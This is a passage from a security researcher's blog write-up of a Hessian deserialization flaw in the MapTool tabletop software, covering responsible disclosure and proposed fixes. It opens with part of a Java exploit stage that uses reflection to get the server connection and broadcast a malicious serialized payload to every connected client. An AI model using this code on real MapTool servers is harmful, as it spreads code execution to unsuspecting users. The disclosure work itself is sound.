                System.arraycopy(stage3, 0, payload, hessian_call.length, stage3.length);

                // get the static field `server` on the `MapTool` class
                Field srv_field = Class
                    .forName("net.rptools.maptool.client.MapTool")
                    .getDeclaredField("server");
                srv_field.setAccessible(true);
                // null because the field is static
                // srv now holds the `MapToolServer` instance
                Object srv = srv_field.get(null);

                // get the `ServerConnection`
                Field conn_field = Class
                    .forName("net.rptools.maptool.server.MapToolServer")
                    .getDeclaredField("conn");

                conn_field.setAccessible(true);
                Object conn = conn_field.get(srv);

                // were invoking `broadcastMessage` on the `simple.server.ServerConnection`
                // causing our stage3 to be sent to every client
                Class
                    .forName("net.rptools.clientserver.simple.server.ServerConnection")
                    .getMethod("broadcastMessage", byte[].class)
                    .invoke(conn, (Object) payload);
            }
        }
        catch (Throwable e) { e.printStackTrace(); }
    }
}

Whats stage3 you ask? Stage3 is just stage1 (the initial serialization payload) except it passes null for stage3 when executing stage2 (the memes function). I know i know, confusing as hell but maybe youll have an easier time understanding when reading the poc. The POC is in python btw because i really fucking hate writing in java and i especially hate dealing with dependencies and installed jdks.

Reporting & Resolving

I saw the maptool team linked their discord server on the website. So i just pinged the admins like

yo we need to talk about something in private, its rather serious

Didn’t take long for an admin to respond and i told them about the situation. I obviously checked if they had the admin role and if their username matched one of the github project owners first. Anyway, those are the solutions i proposed:

  • hessian 4.0 has a whitelist feature
  • remove serialization before authentication completely
  • long term, maybe consider moving away from serialization completely

They agreed with me, we had a nice chat and they invited me to a private discord server for discussing this with the other members. They are pretty chill and took the issue seriously, which is great. One of the devs actually descibed the situation perfectly with this beautiful gif. If you are reading this, they have fixed the issue and publicly disclosed the event.

Resources

For educational purposes i also provided the 2 most used maptool versions for windows. These are both VULNERABLE and should not be used!

2020-07-08 20:45:40 +0200 +0200